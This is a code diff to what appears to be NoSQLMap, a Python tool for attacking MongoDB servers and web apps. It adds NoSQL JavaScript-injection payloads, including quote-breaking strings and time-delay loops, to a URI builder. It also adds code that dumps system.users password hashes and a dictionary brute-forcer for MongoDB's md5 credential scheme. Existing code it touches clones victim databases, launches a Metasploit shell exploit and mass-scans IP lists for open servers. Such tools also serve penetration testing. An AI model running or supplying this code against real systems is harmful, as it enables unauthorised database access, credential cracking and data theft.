25
25
import subprocess
26
26
import json
27
27
import gridfs
28
+ from hashlib import md5
28
29
29
30
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
30
31
global optionSet
@@ -242,6 +243,8 @@ def options():
242
243
mainMenu ()
243
244
244
245
def netAttacks (target ):
246
+ print "DB Access attacks"
247
+ print "================="
245
248
mgtOpen = False
246
249
webOpen = False
247
250
#This is a global for future use with other modules; may change
@@ -306,8 +309,8 @@ def netAttacks(target):
306
309
307
310
print "MongoDB web management closed or requires authentication."
308
311
312
+ print "\n "
309
313
if mgtOpen == True :
310
- #Ths is compiling server info?????
311
314
print "Server Info:"
312
315
mongoVer = conn .server_info ()['version' ]
313
316
print "MongoDB Version: " + mongoVer
@@ -335,13 +338,21 @@ def netAttacks(target):
335
338
colls = db .collection_names ()
336
339
print dbItem + ":"
337
340
print "\n " .join (colls )
341
+ print "\n "
342
+
338
343
if 'system.users' in colls :
339
344
users = list (db .system .users .find ())
340
345
print "Database Users and Password Hashes:"
341
- #print dbItem
342
- print str (users )
343
- #print "\n"
344
-
346
+
347
+ for x in range (0 ,len (users )):
348
+ print "Username: " + users [x ]['user' ]
349
+ print "Hash: " + users [x ]['pwd' ]
350
+ print "\n "
351
+ crack = raw_input ("Crack this hash? " )
352
+
353
+ if crack == "y" :
354
+ brute_pass (users [x ]['user' ],users [x ]['pwd' ])
355
+
345
356
except :
346
357
print "Error: Couldn't list collections. The provided credentials may not have rights."
347
358
@@ -368,7 +379,7 @@ def netAttacks(target):
368
379
if stealDB == "y" or stealDB == "Y" :
369
380
stealDBs (myIP )
370
381
371
- getShell = raw_input ("Try to get a shell? (Requrires mongoDB <2.2.4)?" )
382
+ getShell = raw_input ("Try to get a shell? (Requrires mongoDB <2.2.4)? " )
372
383
373
384
if getShell == "y" or getShell == "Y" :
374
385
#Launch Metasploit exploit
@@ -383,10 +394,14 @@ def netAttacks(target):
383
394
384
395
385
396
def webApps ():
397
+ print "Web App Attacks"
398
+ print "==============="
386
399
paramName = []
387
400
paramValue = []
388
401
vulnAddrs = []
389
402
possAddrs = []
403
+ timeVulnsStr = []
404
+ timeVulnsInt = []
390
405
appUp = False
391
406
strTbAttack = False
392
407
intTbAttack = False
@@ -714,7 +729,7 @@ def buildUri(origUri, randValue):
714
729
paramName = []
715
730
paramValue = []
716
731
global uriArray
717
- uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ]
732
+ uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" , "" , "" , "" , "" ]
718
733
injOpt = ""
719
734
720
735
#Split the string between the path and parameters, and then split each parameter
@@ -747,8 +762,8 @@ def buildUri(origUri, randValue):
747
762
raw_input ("Something went wrong. Press enter to return to the main menu..." )
748
763
mainMenu ()
749
764
750
- print "debug:"
751
- print split_uri [0 ]
765
+ # print "debug:"
766
+ # print split_uri[0]
752
767
753
768
x = 0
754
769
uriArray [0 ] = split_uri [0 ] + "?"
@@ -761,8 +776,10 @@ def buildUri(origUri, randValue):
761
776
uriArray [7 ] = split_uri [0 ] + "?"
762
777
uriArray [8 ] = split_uri [0 ] + "?"
763
778
uriArray [9 ] = split_uri [0 ] + "?"
764
-
765
-
779
+ uriArray [10 ] = split_uri [0 ] + "?"
780
+ uriArray [11 ] = split_uri [0 ] + "?"
781
+ uriArray [12 ] = split_uri [0 ] + "?"
782
+ uriArray [13 ] = split_uri [0 ] + "?"
766
783
767
784
for item in paramName :
768
785
if paramName [x ] == injOpt :
@@ -776,6 +793,11 @@ def buildUri(origUri, randValue):
776
793
uriArray [7 ] += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
777
794
uriArray [8 ] += paramName [x ] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
778
795
uriArray [9 ] += paramName [x ] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
796
+ uriArray [10 ] += paramName [x ] + "=a\" ; return db.a.find(); var dummy=\" !" + "&"
797
+ uriArray [11 ] += paramName [x ] + "=a\" ; return this.a != '" + randValue + "'; var dummy=\" !" + "&"
798
+ uriArray [12 ] += paramName [x ] + "=a\" ; return db.a.findOne(); var dummy=\" !" + "&"
799
+ uriArray [13 ] += paramName [x ] + "=a\" ; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\" !" + "&"
800
+
779
801
780
802
else :
781
803
uriArray [0 ] += paramName [x ] + "=" + paramValue [x ] + "&"
@@ -788,6 +810,11 @@ def buildUri(origUri, randValue):
788
810
uriArray [7 ] += paramName [x ] + "=" + paramValue [x ] + "&"
789
811
uriArray [8 ] += paramName [x ] + "=" + paramValue [x ] + "&"
790
812
uriArray [9 ] += paramName [x ] + "=" + paramValue [x ] + "&"
813
+ uriArray [10 ] += paramName [x ] + "=" + paramValue [x ] + "&"
814
+ uriArray [11 ] += paramName [x ] + "=" + paramValue [x ] + "&"
815
+ uriArray [12 ] += paramName [x ] + "=" + paramValue [x ] + "&"
816
+ uriArray [13 ] += paramName [x ] + "=" + paramValue [x ] + "&"
817
+
791
818
x += 1
792
819
793
820
#Clip the extra & off the end of the URL
@@ -801,7 +828,10 @@ def buildUri(origUri, randValue):
801
828
uriArray [7 ] = uriArray [7 ][:- 1 ]
802
829
uriArray [8 ] = uriArray [8 ][:- 1 ]
803
830
uriArray [9 ] = uriArray [9 ][:- 1 ]
804
-
831
+ uriArray [10 ] = uriArray [10 ][:- 1 ]
832
+ uriArray [11 ] = uriArray [11 ][:- 1 ]
833
+ uriArray [12 ] = uriArray [12 ][:- 1 ]
834
+ uriArray [13 ] = uriArray [13 ][:- 1 ]
805
835
return uriArray [0 ]
806
836
807
837
def stealDBs (myDB ):
@@ -835,7 +865,7 @@ def stealDBs(myDB):
835
865
raw_input ("Invalid Selection. Press enter to continue." )
836
866
stealDBs (myDB )
837
867
838
- cloneAnother = raw_input ("Database cloned. Copy another?" )
868
+ cloneAnother = raw_input ("Database cloned. Copy another? " )
839
869
840
870
if cloneAnother == "y" or cloneAnother == "Y" :
841
871
stealDBs (myDB )
@@ -851,38 +881,38 @@ def massMongo():
851
881
global victim
852
882
success = []
853
883
print "\n "
854
- print "Massmongo-Scan for default access to MongoDB servers "
855
- print "==================================================== "
884
+ print "MongoDB Default Access Scanner "
885
+ print "=============================="
856
886
loadPath = raw_input ("Enter file name with IP list to scan: " )
857
887
858
888
with open (loadPath ) as f :
859
889
ipList = f .readlines ()
860
890
861
-
891
+ print " \n "
862
892
for target in ipList :
863
893
try :
864
894
conn = pymongo .MongoClient (target ,27017 )
865
- print " Connected to " + target [:- 1 ]
895
+ print "Connected to " + target [:- 1 ] + "!"
866
896
dbList = conn .database_names ()
867
897
868
- print "Successful admin access to " + target [:- 1 ]
898
+ print "Successful admin access on " + target [:- 1 ] + ". \n "
869
899
target = target [:- 1 ]
870
900
success .append (target )
871
901
conn .disconnect ()
872
902
873
903
except :
874
- print "Failed to connect to " + target + " or credentials required."
904
+ print "Failed to connect to " + target [: - 1 ] + " or credentials required."
875
905
876
906
print "\n \n "
877
907
print "Discovered MongoDB Servers:"
878
908
879
909
menuItem = 1
880
- print "List of servers:"
881
910
for server in success :
882
911
print str (menuItem ) + "-" + server
883
912
menuItem += 1
884
913
885
914
select = True
915
+ print "\n "
886
916
while select :
887
917
select = raw_input ("Select a NoSQLMap target or press x to exit: " )
888
918
@@ -898,4 +928,28 @@ def massMongo():
898
928
else :
899
929
raw_input ("Invalid selection." )
900
930
931
+ def gen_pass (user , passw ):
932
+ return md5 (user + ":mongo:" + str (passw )).hexdigest ();
933
+
934
+
935
+ def brute_pass (user ,key ):
936
+ dictionary = raw_input ("Enter path to password dictionary: " )
937
+ #print user
938
+ #print key
939
+ print "Preparing dictionary attack..."
940
+ with open (dictionary ) as f :
941
+ passList = f .readlines ()
942
+
943
+ print "debug: " + str (passList )
944
+
945
+ for passGuess in passList :
946
+ temp = passGuess .split ("\n " )[0 ]
947
+ #print "debug: " + temp
948
+ if gen_pass (user , temp ) == key :
949
+ print "\n Found - " + user + ":" + passGuess
950
+ return passGuess
951
+
952
+ print "Password not found for " + user
953
+ return ""
954
+
901
955
mainMenu ()
0 commit comments